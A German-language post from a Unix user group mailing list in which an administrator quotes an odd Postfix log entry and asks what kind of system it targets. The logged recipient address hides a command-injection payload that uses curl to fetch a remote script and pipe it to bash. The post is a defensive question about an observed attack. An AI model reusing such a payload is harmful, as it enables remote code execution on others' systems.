Merkwürde Logeinträge in Postfix

[Michael Lestinsky <michael@xxxxxxxxxxxx>]

Hallo zusammen,

ich werfe ab und zu einen Blick in meine Postfix-Logfiles und stoße da immer 
wieder auf kuriose Meldungen. Eine ist beispielsweise nach dem Muster

    450 4.7.1 <mx-test.invalid>: Helo command rejected: Host not found; 

from=<hello@xxxxxxxx> to=<"x: Service status change: localhost $(curl -sS
http://<REDACTED>/da.sh|bash) changed from stopped to running"@cve.invalid>
proto=ESMTP helo=<mx-test.invalid> (total: 1)

Hier wird also offenbar versucht ein Shellcode-Schnippsel zu injizieren um 
Code nachzuladen. Kann jemand von Euch evtl. verstehen, welche Art von 
Systemen für derartige Versuche das Ziel sind? Gibt es eine bestimmte 
Mailkonfiguration, die für sowas anfällig sein würde?

Gruss und Danke,
Michael


--
Unix User Group Rhein-Neckar e.V.: https://www.uugrn.org
Archiv und An-/Abmeldung:          https://mail2.uugrn.org
Social Media:                      https://social.uugrn.org